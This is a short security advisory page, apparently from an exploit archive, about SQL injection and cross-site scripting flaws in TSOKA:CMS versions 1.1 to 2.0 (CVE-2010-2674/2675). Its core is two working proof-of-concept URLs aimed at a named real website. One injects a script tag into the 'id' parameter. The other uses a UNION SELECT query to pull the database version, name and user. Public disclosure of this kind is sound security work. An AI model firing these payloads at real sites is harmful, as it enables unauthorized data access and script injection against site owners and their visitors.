TSOKA:CMS v1.1 , v1.9 AND v2.0 SQL Injection & XSS Vulnerability

2010.07.11
Credit: d3v1l [Avram Marius]
Risk: High
Local: No
Remote: Yes
CVE: CVE-2010-2674 | CVE-2010-2675
CWE: CWE-89
CWE-79

[~]----------------------------------------------------------------------------------------------------------------------- [~] TSOKA:CMS v1.1 , v1.9 AND v2.0 SQL Injection & XSS Vulnerability [~] [~] http://www.alanzard.com (from italy) [~] [~] [~] ---------------------------------------------------------------------------------------------------------------------- [~] Bug founded by d3v1l [Avram Marius] [~] [~] Date: 28.03.2010 [~] [~] [~] http://security-sh3ll.blogspot.com [~] [~] ---------------------------------------------------------------------------------------------------------------------- [~] articolo&id= SQL & XSS [~] [~] [~] Ex - [~] [~] http://www.mpmtennis.com/?pag=articolo&id= "><script>alert(/XSS/)</script> [~] http://www.mpmtennis.com/?pag=articolo&id=-1 UNION SELECT concat_ws(0x3a,version(),database(),user()),2,3,4,5,6,7,8-- [~]------------------------------------------------------------------------------------------------------------------------

References:

http://www.exploit-db.com/exploits/11923
http://packetstormsecurity.org/1003-exploits/tsokacms-sqlxss.txt


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top